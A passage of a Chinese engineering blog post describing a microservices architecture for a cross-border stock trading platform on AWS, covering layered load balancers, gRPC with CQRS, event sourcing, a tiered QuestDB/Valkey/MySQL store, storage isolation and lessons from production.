&lt;li&gt;&lt;p&gt;&lt;strong&gt;实时健康探测，故障自动隔离&lt;/strong&gt;：持续探测后端所有微服务节点的健康状态，自动剔除异常节点、自动切换正常集群，从流量入口层面规避单点故障；&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.3 流量分层 + 事件溯源：金融系统故障自愈的核心基石
&lt;/h3&gt;

&lt;p&gt;这是整套架构最核心的落地价值，也是我们重构架构的核心目标之一。在传统单体架构中，所有业务耦合一体，一旦出现局部故障，必然导致全站瘫痪，修复方式只能是全量回滚、全站重启、整体数据校验，故障恢复耗时久、影响范围极广。&lt;/p&gt;

&lt;p&gt;而在我们&lt;strong&gt;流量分层隔离 + 微服务独立部署 + 全局事件溯源&lt;/strong&gt;的整套架构体系下，实现了&lt;strong&gt;故障最小化闭环&lt;/strong&gt;：&lt;/p&gt;

&lt;p&gt;任意单一微服务出现异常报错、卡顿、超时，ALB的精准流量隔离机制会将故障锁定在当前模块，&lt;strong&gt;不会扩散到其他业务模块、不会影响全站交易&lt;/strong&gt;。研发与运维定位故障服务后，仅需修复对应服务代码、重启对应集群，无需全站重新部署。同时依托全局唯一事件ID，可精准回放故障时间段的所有业务事件，完整恢复故障期间的交易状态、资产变更、订单数据，实现无损故障自愈。&lt;/p&gt;

&lt;p&gt;这套设计直接将金融业务的故障影响范围缩减90%以上，彻底解决了单体架构故障全域扩散的致命问题，满足金融业务高可用、高可靠的核心要求。&lt;/p&gt;

&lt;h2&gt;
  
  
  二、三层流量总线架构：内外隔离、动静分离、任务独立的终极解耦方案
&lt;/h2&gt;

&lt;p&gt;很多同行看完我们的架构总图后都会疑惑：为什么整套架构需要设计三套独立的负载均衡总线（REST网关、gRPC NLB、Worker NLB）？看起来层级较多，是否存在架构冗余、维护成本过高的问题？&lt;/p&gt;

&lt;p&gt;其实对于金融交易系统而言，&lt;strong&gt;架构的核心本质不是极简，而是隔离&lt;/strong&gt;。内外流量隔离、同步异步隔离、公网私网隔离、用户业务流量与后台任务流量隔离，是金融系统安全、稳定、可维护的核心前提。&lt;/p&gt;

&lt;p&gt;我们的三层流量总线架构，每一层都有明确的业务定位、严格的使用边界、专属的服务场景，三者各司其职、完全互不干扰，从流量架构层面彻底解决微服务耦合、权限泄露、流量冲突、故障串联的行业通病。下面逐层拆解每一层架构的设计思想、落地规范与生产价值。&lt;/p&gt;

&lt;h3&gt;
  
  
  2.1 第一层：公网REST API网关， 唯一对外标准化流量入口
&lt;/h3&gt;

&lt;p&gt;REST API网关是我们整套交易系统&lt;strong&gt;唯一的公网暴露入口&lt;/strong&gt;，承担所有外部流量的统一准入、校验、转发工作，覆盖用户APP、移动端、Web端、第三方合作机构系统的全部请求。&lt;/p&gt;

&lt;p&gt;我们之所以对外统一采用REST协议，核心是基于&lt;strong&gt;外部生态兼容性&lt;/strong&gt;考量：REST协议通用性极强、无语言壁垒、调试简单、适配所有客户端设备与第三方系统，是对外标准化交互的最优选择，能够最大程度降低外部接入成本。&lt;/p&gt;

&lt;p&gt;同时，我们在架构层面制定了&lt;strong&gt;铁律级规范&lt;/strong&gt;：REST网关仅负责处理外部入站请求，&lt;strong&gt;内部所有微服务之间，绝对禁止使用REST协议互相调用&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;这也是绝大多数企业微服务重构失败的核心原因：很多团队只是简单把单体工程拆分成多个独立服务，内部依然通过REST接口网状调用，看似是微服务架构，本质还是&lt;strong&gt;单体内核、分布式外壳&lt;/strong&gt;，服务依赖混乱、迭代耦合严重，完全没有发挥微服务的核心价值。我们通过架构规范，从根源上杜绝了这种伪微服务问题。&lt;/p&gt;

&lt;h3&gt;
  
  
  2.2 第二层：内部gRPC NLB：微服务彻底解耦的核心内核
&lt;/h3&gt;

&lt;p&gt;为了彻底解决内部服务网状耦合、接口不稳定、调用性能低下、无统一契约约束的痛点，我们整套架构&lt;strong&gt;强制统一内部微服务通信标准&lt;/strong&gt;：所有内网服务交互，全部采用 &lt;strong&gt;gRPC + Protobuf + CQRS命令查询分离架构&lt;/strong&gt;，依托独立的gRPC NLB实现内网流量统一调度。&lt;/p&gt;

&lt;h4&gt;
  
  
  2.2.1 摒弃内网REST调用的核心架构原因
&lt;/h4&gt;

&lt;p&gt;REST基于HTTP文本协议，适配外部开放场景，但完全不适配内部高频、高并发、强稳定的服务交互场景，存在三大架构级缺陷：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;强耦合，无法独立迭代&lt;/strong&gt;：内网REST调用需要服务间直接依赖IP、端口、接口地址、参数格式，下游服务微调字段、修改参数，会直接导致上游服务报错，牵一发而动全身，服务完全无法独立迭代、独立部署；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;性能损耗极高，无法支撑千万级并发&lt;/strong&gt;：文本协议传输冗余数据多，序列化、反序列化耗时严重，在千万级内网调用场景下，会极大占用CPU与网络资源，导致整体链路延迟升高；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;无契约约束，线上隐性BUG频发&lt;/strong&gt;：REST接口无强制字段校验、无类型约束，字段可随意增减、参数格式不统一，极易出现本地测试正常、线上参数异常的隐性故障，完全不符合金融系统的稳定性要求。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  2.2.2 gRPC+Protobuf+CQRS的架构落地核心价值
&lt;/h4&gt;

&lt;p&gt;我们引入CQRS命令查询分离思想，将所有内部服务操作拆分为「命令写入（交易、新增、修改、状态变更）」和「查询读取（数据查询、行情获取、报表统计）」两类，结合gRPC二进制传输、Protobuf强契约约束，彻底重构内网通信架构：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;实现依赖倒置，彻底解耦服务&lt;/strong&gt;：上游服务仅需调用标准化gRPC命令，完全无需关心下游服务的部署地址、端口、代码逻辑、业务实现，服务之间无硬依赖，真正实现独立迭代、独立部署、独立故障隔离；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;编译级强契约校验，杜绝线上参数异常&lt;/strong&gt;：通过Protobuf统一固化所有内网交互的数据结构、字段类型、字段长度、必填规则，所有参数校验在编译阶段完成，从根源规避线上参数格式错误、字段缺失、类型不匹配等问题；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;二进制高性能传输，支撑高并发内网调用&lt;/strong&gt;：相较于REST文本协议，gRPC二进制协议传输体积更小、解析速度更快、序列化损耗更低，大幅提升内网调用QPS、降低链路延迟，完美支撑开盘峰值的千万级内网交互；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;读写职责彻底分离，故障范围可控&lt;/strong&gt;：CQRS架构将写入操作与查询操作完全拆分，核心交易写入链路、数据查询链路独立调度、独立扩容、独立降级，不会出现查询流量打垮写入核心链路的生产事故。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;可以说，&lt;strong&gt;gRPC+CQRS的内网通信架构，是我们整套微服务架构从“伪分布式”变成“真微服务”的核心关键&lt;/strong&gt;。&lt;/p&gt;

&lt;h3&gt;
  
  
  2.3 第三层：私有Worker NLB： 零信任架构的内网任务安全屏障
&lt;/h3&gt;

&lt;p&gt;金融交易系统除了响应用户实时请求，还存在大量&lt;strong&gt;无用户感知的后台离线核心任务&lt;/strong&gt;：全球交易所行情爬虫、日线量化指标计算、每日批量对账、跨区数据同步、日志统计分析、定时资金清算、IPO新股数据同步等。&lt;/p&gt;

&lt;p&gt;这类后台任务具备三大核心特性：无公网访问需求、长期后台持续运行、数据权限极高、故障影响核心资产数据。基于&lt;strong&gt;零信任安全架构&lt;/strong&gt;原则，我们为后台任务集群单独设计了&lt;strong&gt;私有Worker NLB&lt;/strong&gt;，形成第三层独立流量总线。&lt;/p&gt;

&lt;p&gt;该NLB严格配置为&lt;strong&gt;VPC内网私有访问模式&lt;/strong&gt;，不开放任何公网端口、不暴露公网IP，仅允许内网集群互访，仅对目标服务组开放健康检查端口。这套设计的核心架构价值：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;落实零信任安全原则&lt;/strong&gt;：所有高权限后台任务完全隔离在私网内部，无任何公网暴露风险，杜绝外部攻击、越权访问、数据泄露的安全隐患；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;任务流量与用户流量彻底隔离&lt;/strong&gt;：后台批量计算、同步任务的大流量、高负载操作，不会抢占用户实时交易、行情查询的核心资源，保障用户核心体验稳定；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;后台任务独立运维、独立扩容&lt;/strong&gt;：可根据行情计算、对账清算的任务量，单独扩容Worker集群，不影响前端业务集群，算力调度更加灵活高效。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  三、混合算力架构：EC2+Fargate差异化部署，适配业务全场景算力需求
&lt;/h2&gt;

&lt;p&gt;在微服务算力资源选型上，我们没有采用单一服务器部署模式，而是根据&lt;strong&gt;服务变更频率、流量特性、容错能力、迭代节奏&lt;/strong&gt;，落地了&lt;strong&gt;EC2固定算力 + ECS Fargate弹性算力&lt;/strong&gt; 的混合部署架构，实现算力资源的精准匹配、成本最优、稳定性最大化。&lt;/p&gt;

&lt;p&gt;所有算力选型均基于生产场景实际需求，无技术偏好、无过度设计，每一种部署方式都对应明确的业务痛点。&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1 固定算力EC2部署：适配低变更、高稳定、弱弹性需求服务
&lt;/h3&gt;

&lt;p&gt;我们将&lt;strong&gt;业务逻辑稳定、迭代频率极低、流量波动小、短暂故障无感知&lt;/strong&gt;的服务统一部署在EC2固定云服务器上，包含身份验证服务、消息推送通知服务等基础支撑服务。&lt;/p&gt;

&lt;p&gt;这类基础支撑服务的核心特性是：底层逻辑成熟稳定，几乎不会进行业务迭代，无需频繁更新部署；同时服务故障容错性极高，即便出现几秒至一分钟的短暂宕机，也不会影响用户核心交易体验，普通用户几乎无感知。&lt;/p&gt;

&lt;p&gt;针对这类服务，采用EC2固定算力部署，既可以保障服务运行的稳定性，又能避免Fargate弹性算力的额外成本，实现&lt;strong&gt;稳定与成本的最优平衡&lt;/strong&gt;。&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 弹性算力Fargate部署：适配高迭代、高波动、高并发核心服务
&lt;/h3&gt;

&lt;p&gt;针对论坛服务、KYC合规服务、产品管理服务、股票行情服务、交易计费服务、用户权益服务等&lt;strong&gt;核心可变服务&lt;/strong&gt;，我们全部采用&lt;strong&gt;ECS Fargate无服务器弹性部署&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;这类服务是业务核心载体，具备两大核心特点：一是业务迭代频繁，每天都会根据市场需求、合规规则、用户反馈进行功能调整与优化；二是流量波动极大，开盘瞬间千万级请求洪峰，闲时流量极低，对弹性伸缩能力要求极高。&lt;/p&gt;

&lt;p&gt;Fargate的按需弹性伸缩能力，完美适配这类核心服务的场景需求：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;峰值自动扩容&lt;/strong&gt;：交易开盘流量暴涨时，自动快速扩容容器节点，轻松承接千万级并发请求，杜绝流量打垮服务的问题；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;闲时自动缩容&lt;/strong&gt;：非交易时段、夜间闲时自动缩减容器数量，释放闲置算力资源，大幅降低服务器运行成本；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;无服务器运维成本&lt;/strong&gt;：无需管理底层服务器节点，仅需关注服务业务逻辑，大幅降低运维压力，适配高频迭代的业务节奏。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这套混合算力架构，彻底解决了「核心服务扛不住峰值、基础服务浪费资源」的行业痛点，实现了&lt;strong&gt;算力精准匹配、性能稳定、成本可控&lt;/strong&gt;的三重目标。&lt;/p&gt;

&lt;h2&gt;
  
  
  四、核心应用层架构：以事件溯源为核心，构建金融级故障自愈体系
&lt;/h2&gt;

&lt;p&gt;我们的核心应用集群（集群B）承载了整套交易系统的所有核心业务能力，包含论坛、审计日志、KYC合规、产品管理、AI辅助、资讯推送、用户权益、功能灰度控制、用户档案九大常规业务模块，同时集成基础数据服务、股票交易服务、资产计费服务三大核心交易模块，构成了整套系统的业务核心载体。&lt;/p&gt;

&lt;p&gt;其中，&lt;strong&gt;资产计费服务是整套金融交易架构的核心中枢&lt;/strong&gt;，直接关联用户资产、交易清算、资金对账，是数据一致性、安全性要求最高的核心模块。为了保障计费数据绝对可靠、故障可追溯、异常可恢复，我们为计费服务量身设计了&lt;strong&gt;事件溯源 + Webhook + 消息队列同步&lt;/strong&gt;的核心架构机制。&lt;/p&gt;

&lt;h3&gt;
  
  
  4.1 金融级事件溯源机制设计
&lt;/h3&gt;

&lt;p&gt;不同于普通互联网业务，金融交易的每一次下单、撤单、成交、扣费、资金变更、权益变动，都是不可逆转、需要永久留存的核心操作。为此，我们将所有交易、状态变更、资产变动操作，全部定义为&lt;strong&gt;不可篡改的独立事件&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;所有事件生成后，通过&lt;strong&gt;RabbitMQ零信任事件同步总线&lt;/strong&gt;，精准分发至对应的关联服务，完成数据同步、状态更新、日志记录。每一个事件都拥有&lt;strong&gt;全局唯一的事件ID&lt;/strong&gt;，永久归档、不可删除、可随时检索、可精准回放。&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 生产故障自愈落地能力
&lt;/h3&gt;

&lt;p&gt;依托全局事件溯源体系，我们搭建了专属的研发运维仪表板，内置&lt;strong&gt;按Job ID重启重建、事件精准回放&lt;/strong&gt;的核心功能，成为生产故障修复的最后一道防线：&lt;/p&gt;

&lt;p&gt;当任意核心服务出现数据异常、状态错乱、同步失败等问题时，研发运维人员无需全量回滚数据、无需全站重启，仅需通过唯一事件ID或任务ID，精准定位故障时间段的所有业务事件，一键回放重建对应业务流程，即可完整恢复所有交易数据、资产状态、订单信息，真正实现&lt;strong&gt;无损故障自愈、数据零丢失&lt;/strong&gt;，完全满足金融行业的高可靠要求。&lt;/p&gt;

&lt;h2&gt;
  
  
  五、实时行情核心链路：QuestDB+Valkey+MySQL三级存储架构
&lt;/h2&gt;

&lt;p&gt;实时行情是跨境股票交易系统的核心流量入口，也是并发最高、数据更新最频繁、实时性要求最强的核心链路。为了支撑全球多交易所实时行情的高速写入、毫秒级查询、海量时序数据存储，我们搭建了&lt;strong&gt;时序数据库+缓存+关系型数据库&lt;/strong&gt;的三级分层存储架构，兼顾实时性、高性能与数据永久可靠性。&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 行情数据采集与原始存储：QuestDB 承载时序源数据
&lt;/h3&gt;

&lt;p&gt;我们的行情喂价服务基于Go语言高性能编写，依托高并发WebSocket长连接，同时对接全球多个证券交易所，7*20小时持续实时拉取股票行情数据，同时动态适配每日IPO新股数据同步，数据写入量级极大、更新频率极高。&lt;/p&gt;

&lt;p&gt;所有原始行情时序数据，全部实时写入&lt;strong&gt;QuestDB时序数据库&lt;/strong&gt;。在整条行情链路中，QuestDB承担&lt;strong&gt;唯一数据源真&lt;/strong&gt;的核心角色，完整留存所有原始行情流水，不做任何数据合并、删减、篡改，为后续行情计算、数据分析、数据复盘提供最原始、最真实的数据支撑。&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 盘后量化计算与缓存预热：Valkey 承载用户实时流量
&lt;/h3&gt;

&lt;p&gt;每日交易时段结束后，系统会自动触发日线量化计算工作流，通过标准化gRPC命令调度后台计算任务，从QuestDB批量拉取当日全量行情时序数据，完成日线指标、涨跌幅度、交易量、均价等核心量化指标计算。&lt;/p&gt;

&lt;p&gt;计算完成后的&lt;strong&gt;成品行情数据、量化指标数据&lt;/strong&gt;，会统一写入Valkey高性能缓存集群，完成全量缓存预热。Valkey凭借超高的读写性能，完美承接百万级用户的实时行情查询请求，保障用户访问延迟稳定在毫秒级。&lt;/p&gt;

&lt;h3&gt;
  
  
  5.3 盘后持久化归档：MySQL 承载最终数据落地
&lt;/h3&gt;

&lt;p&gt;每日EOD（End of Day）交易清算结束后，系统会将当日所有计算完成的行情统计数据、量化指标、交易汇总数据，统一归档写入MySQL数据库，完成&lt;strong&gt;最终持久化落地&lt;/strong&gt;，用于长期数据留存、历史数据复盘、内部报表统计、合规审计归档。&lt;/p&gt;

&lt;h2&gt;
  
  
  六、读写分离核心设计：彻底杜绝高并发流量打垮数据库
&lt;/h2&gt;

&lt;p&gt;在千万级用户并发场景下，数据库穿透是最致命的生产隐患之一。如果所有用户实时查询请求直接穿透到数据库，即便配备最优索引，海量并发查询也会直接拖垮数据库，导致服务雪崩、全站瘫痪。&lt;/p&gt;

&lt;p&gt;为此，我们在整套架构中严格落地&lt;strong&gt;缓存优先、数据库兜底&lt;/strong&gt;的读写分离规范，从架构层面彻底杜绝数据库穿透风险。&lt;/p&gt;

&lt;p&gt;所有面向C端用户的 &lt;code&gt;stock\_service\&lt;/code&gt; 行情服务、资产查询服务、资讯服务，&lt;strong&gt;默认仅从Valkey缓存集群读取数据&lt;/strong&gt;，99%的用户实时请求全部在缓存层终结，实现毫秒级响应。&lt;/p&gt;

&lt;p&gt;数据库仅承担两大兜底职责：一是缓存失效、数据更新时的增量数据写入；二是内部运营后台、审计报表、合规统计的后台查询需求。MySQL读实例完全不承载任何用户实时并发流量，从根源保障核心数据库的稳定运行，彻底杜绝数据库过载、服务雪崩问题。&lt;/p&gt;

&lt;h2&gt;
  
  
  七、存储层零信任隔离架构：物理级隔离，满足金融合规刚需
&lt;/h2&gt;

&lt;p&gt;金融交易数据属于最高等级的敏感数据，ISO 27001、金融等保规范对数据隔离、权限隔离、风险隔离有极其严格的要求。为此，我们针对所有存储组件，落地了&lt;strong&gt;独立IAM权限、主从读写分离、物理隔离部署&lt;/strong&gt;的零信任存储架构。&lt;/p&gt;

&lt;h3&gt;
  
  
  7.1 MySQL 主从分离架构（交易结算核心数据）
&lt;/h3&gt;

&lt;p&gt;MySQL作为整套系统的&lt;strong&gt;最终数据源真&lt;/strong&gt;，存储所有用户资产、交易订单、清算结算、用户信息等核心敏感数据。我们采用一主一从的标准架构：主库专职承担数据写入、更新、删除操作，从库专职承担后台查询、报表统计、审计分析操作。&lt;/p&gt;

&lt;p&gt;同时为MySQL主从实例配置&lt;strong&gt;独立的AWS IAM权限、独立网络策略、独立访问白名单&lt;/strong&gt;，实现实例级别的物理隔离。&lt;/p&gt;

&lt;h3&gt;
  
  
  7.2 PostgreSQL 主从分离架构（审计日志核心数据）
&lt;/h3&gt;

&lt;p&gt;我们采用PostgreSQL独立存储系统全量操作日志、行为审计记录、事件溯源日志。相较于云原生日志服务，自建PostgreSQL可以保障数据完整性、不可篡改性，完美支撑仪表板的任务重放、故障溯源、合规审计功能。同样采用一写一读主从分离架构，独立部署、独立权限管控。&lt;/p&gt;

&lt;h3&gt;
  
  
  7.3 隔离架构的核心安全与合规价值
&lt;/h3&gt;

&lt;p&gt;这套存储隔离架构，完美解决了金融数据的安全合规与故障隔离问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;风险最小化&lt;/strong&gt;：单个数据库实例出现配置错误、漏洞攻击、数据泄露问题时，风险被完全锁定在当前实例，不会牵连其他存储组件。可立即销毁故障实例，通过快照快速重建恢复，全程不影响整体系统运行；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;物理级服务隔离&lt;/strong&gt;：每个微服务对应独立的数据库、独立的表集合、独立的访问权限，服务之间数据完全隔离，杜绝越权访问、数据串联风险；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;满足金融合规&lt;/strong&gt;：完全契合ISO 27001、金融等保关于数据隔离、权限分级、操作溯源、风险可控的所有规范要求，支撑企业合规审计与业务规模化拓展。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  八、整体架构总图对应说明
&lt;/h2&gt;

&lt;p&gt;本文所有分层设计、流量逻辑、算力选型、存储架构、事件溯源机制，均与生产环境完整架构图一一对应。从公网静态/动态流量分层准入，到三层内网流量总线调度，再到混合算力集群部署、核心业务事件驱动、三级存储分层、零信任数据隔离，整张架构图完整还原了千万级交易系统的生产级落地形态。&lt;/p&gt;

&lt;p&gt;{picture_here}&lt;/p&gt;

&lt;h2&gt;
  
  
  九、架构复盘：没有完美架构，只有适配业务的最优解
&lt;/h2&gt;

&lt;p&gt;复盘整套从单体到微服务的架构重构过程，我始终想强调：&lt;strong&gt;这套架构不是理论上的完美架构，而是适配跨境金融千万级交易场景的最优落地解&lt;/strong&gt;。每一层设计、每一次技术选型、每一条架构规范，都是为了解决真实生产环境的具体问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;针对千万级并发、故障全域扩散问题&lt;/strong&gt;：通过微服务拆分 + 流量分层隔离 + 事件溯源自愈，实现故障最小化、并发可控化；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;针对微服务耦合、迭代阻塞问题&lt;/strong&gt;：通过gRPC+Protobuf+CQRS内网架构，彻底解耦服务依赖，实现业务独立迭代；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;针对服务流量、迭代节奏差异化问题&lt;/strong&gt;：通过EC2+Fargate混合算力，实现算力精准匹配、成本与性能平衡；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;针对实时行情高并发查询问题&lt;/strong&gt;：通过QuestDB时序存储+Valkey缓存+MySQL归档的三级架构，兼顾实时性、高性能与数据可靠性；&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;针对金融安全合规、数据风险问题&lt;/strong&gt;：通过零信任IAM隔离、主从读写分离、物理数据隔离，满足金融级安全合规要求。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;整套架构完全基于生产痛点驱动落地，无过度设计、无技术堆砌、无无效对比，是一套可直接复用、可落地、可迭代的&lt;strong&gt;跨境金融交易微服务标准解决方案&lt;/strong&gt;。&lt;/p&gt;

&lt;p&gt;本文完整复盘了架构重构的全流程设计思路与落地细节，希望能给从事金融交易系统、高并发微服务、事件驱动架构、零信任安全架构研发的同行提供真实、可落地的参考思路，欢迎大家评论区交流探讨、共同进步！&lt;/p&gt;

&lt;h2&gt;
  
  
  十、生产落地踩坑实录：那些架构图上看不到的关键细节
&lt;/h2&gt;

&lt;p&gt;任何一套完美的架构设计，在落地到生产环境的过程中，都会遇到各种意料之外的问题。我们在这套微服务架构的落地过程中，也踩过不少典型的坑，每一个问题的解决，都让整套架构更加健壮、更加贴合生产实际。下面分享几个最具代表性的生产踩坑经验，希望能帮助大家少走弯路。&lt;/p&gt;

&lt;h3&gt;
  
  
  10.1 事件溯源的一致性坑：消息重复消费与乱序问题
&lt;/h3&gt;

&lt;p&gt;事件溯源架构的核心是通过事件的顺序回放来恢复数据状态，因此事件的&lt;strong&gt;唯一性、顺序性、幂等性&lt;/strong&gt;是数据一致性的根本保障。在架构上线初期，我们遇到了两个非常典型的问题：消息重复消费和事件乱序。&lt;/p&gt;

&lt;p&gt;首先是消息重复消费问题。由于网络波动、服务重启、消息队列重试等原因，同一个事件可能会被多次投递到下游服务。如果下游服务没有做幂等处理，就会导致资产重复计算、订单重复生成、资金对账错误等严重的金融事故。&lt;/p&gt;

&lt;p&gt;针对这个问题，我们落地了&lt;strong&gt;全局事件ID幂等校验机制&lt;/strong&gt;：每一个事件都拥有全局唯一的事件ID，下游服务在处理事件之前，会先查询本地幂等表，确认该事件是否已经处理过。如果已经处理过，则直接跳过；如果未处理，则执行业务逻辑，并在事务中同时写入业务数据和幂等记录。通过这种方式，从根本上杜绝了重复消费导致的数据不一致问题。&lt;/p&gt;

&lt;p&gt;其次是事件乱序问题。在高并发场景下，由于网络延迟、服务处理速度差异，后发生的事件可能会先到达下游服务，导致数据状态错乱。例如，用户先下单、后撤单，如果撤单事件先被处理，就会导致订单状态异常。&lt;/p&gt;

&lt;p&gt;为了解决这个问题，我们引入了&lt;strong&gt;事件版本号+延迟重试机制&lt;/strong&gt;：每一个事件都携带一个递增的版本号，下游服务在处理事件时，会校验事件版本号是否符合预期。如果版本号跳跃，则将该事件放入延迟队列，等待一段时间后重试，直到前面的事件处理完成。同时，我们在消息队列层面，通过用户ID、订单ID进行消息分区，保证同一个业务实体的所有事件都被投递到同一个分区，从源头保证事件的顺序性。&lt;/p&gt;

&lt;h3&gt;
  
  
  10.2 gRPC通信的性能坑：连接池与超时配置
&lt;/h3&gt;

&lt;p&gt;gRPC基于HTTP/2协议，支持多路复用，理论上性能远高于REST。但在上线初期，我们遇到了gRPC调用超时、连接堆积、服务雪崩的问题，经过排查发现，问题出在连接池配置和超时策略上。&lt;/p&gt;

&lt;p&gt;首先是连接池配置不合理。很多团队在使用gRPC时，会默认使用单连接或者过小的连接池。虽然HTTP/2支持多路复用，但在高并发场景下，单连接的吞吐量有限，会成为性能瓶颈。而如果连接池过大，又会导致服务端连接数过多，占用大量系统资源。&lt;/p&gt;

&lt;p&gt;我们通过压测，找到了适合我们业务场景的连接池大小：每个客户端实例维护10-20个gRPC连接，同时开启连接空闲超时机制，自动关闭长时间未使用的连接。这样既保证了高并发下的吞吐量，又避免了连接资源的浪费。&lt;/p&gt;

&lt;p&gt;其次是超时策略配置不当。在初期，我们没有为gRPC调用设置合理的超时时间，导致某个下游服务卡顿，会阻塞上游所有调用该服务的请求，进而引发服务雪崩。&lt;/p&gt;

&lt;p&gt;为此，我们制定了&lt;strong&gt;分级超时策略&lt;/strong&gt;：根据接口的重要性和响应时间要求，为不同的gRPC接口设置不同的超时时间。核心交易接口超时时间设置为1秒，非核心查询接口超时时间设置为3秒。同时，在客户端开启重试机制，对于超时的请求，自动重试1-2次，提高系统的可用性。&lt;/p&gt;

&lt;h3&gt;
  
  
  10.3 缓存一致性坑：缓存更新策略的选择
&lt;/h3&gt;

&lt;p&gt;在实时行情链路中，我们采用了“先更新数据库，再更新缓存”的策略，但在高并发场景下，出现了缓存与数据库数据不一致的问题。例如，两个线程同时更新同一只股票的行情数据，线程A先更新数据库，线程B后更新数据库，但线程B先更新缓存，导致缓存中的数据是旧的。&lt;/p&gt;

&lt;p&gt;针对这个问题，我们将缓存更新策略调整为&lt;strong&gt;“先删除缓存，再更新数据库，延迟双删”&lt;/strong&gt;：当数据发生变更时，先删除缓存中的旧数据，然后更新数据库，最后延迟一段时间（通常是1-2秒）再次删除缓存。这样可以有效避免并发更新导致的数据不一致问题。&lt;/p&gt;

&lt;p&gt;同时，我们为所有缓存数据设置了合理的过期时间，即使出现极端情况下的数据不一致，也能通过缓存过期自动恢复。对于核心交易数据，我们还增加了缓存校验机制，定期对比缓存与数据库的数据，发现不一致时自动修复。&lt;/p&gt;

&lt;h3&gt;
  
  
  10.4 零信任架构的运维坑：权限精细化管理
&lt;/h3&gt;

&lt;p&gt;零信任架构的核心是“永不信任，始终验证”，但在落地过程中，过度严格的权限控制会导致运维效率低下。例如，初期我们为每个微服务都配置了独立的IAM权限，运维人员在排查问题时，需要频繁切换不同的账号，极大地影响了故障排查效率。&lt;/p&gt;

&lt;p&gt;为了平衡安全与效率，我们落地了&lt;strong&gt;基于角色的临时权限授权机制&lt;/strong&gt;：运维人员根据工作需要，申请对应的临时权限，权限有效期根据任务时长设置，最长不超过24小时。权限申请需要经过审批，所有操作都会被记录审计。这样既保证了系统的安全性，又提高了运维效率。&lt;/p&gt;

&lt;h2&gt;
  
  
  十一、未来架构演进规划
&lt;/h2&gt;

&lt;p&gt;目前这套架构已经稳定支撑了我们千万级并发的跨境交易业务，但随着业务的持续增长和技术的不断发展，我们也在规划未来的架构演进方向，进一步提升系统的性能、可用性、安全性和可扩展性。&lt;/p&gt;

&lt;h3&gt;
  
  
  11.1 分布式集群部署：支撑亿级并发
&lt;/h3&gt;

&lt;p&gt;当前我们采用的是单地域集群部署，随着用户体量的进一步增长，单地域集群的性能和容量将逐渐达到瓶颈。未来我们计划将架构升级为&lt;strong&gt;多地域分布式集群&lt;/strong&gt;，采用“中心集群+区域集群”的部署模式。&lt;/p&gt;

&lt;p&gt;中心集群负责全局数据同步、用户统一认证、跨区交易清算等核心业务；区域集群部署在用户密集的地区，负责本地用户的交易请求、行情查询等业务，实现就近访问，降低网络延迟。同时，通过数据同步中间件，实现中心集群与区域集群之间的数据实时同步，保证数据一致性。&lt;/p&gt;

&lt;h3&gt;
  
  
  11.2 多活容灾架构：实现业务零中断
&lt;/h3&gt;

&lt;p&gt;金融交易系统对可用性要求极高，任何形式的 downtime 都会造成巨大的经济损失和品牌影响。未来我们计划落地&lt;strong&gt;两地三中心多活容灾架构&lt;/strong&gt;，实现业务的零中断。&lt;/p&gt;

&lt;p&gt;在两个不同的城市部署三个数据中心，其中两个数据中心为生产中心，同时承载业务流量；第三个数据中心为灾备中心，用于数据备份和应急恢复。当某个数据中心发生故障时，流量会自动切换到其他正常的数据中心，用户完全无感知。同时，通过跨数据中心的数据同步，保证数据的零丢失。&lt;/p&gt;

&lt;h3&gt;
  
  
  11.3 可观测性体系升级：全链路追踪与智能告警
&lt;/h3&gt;

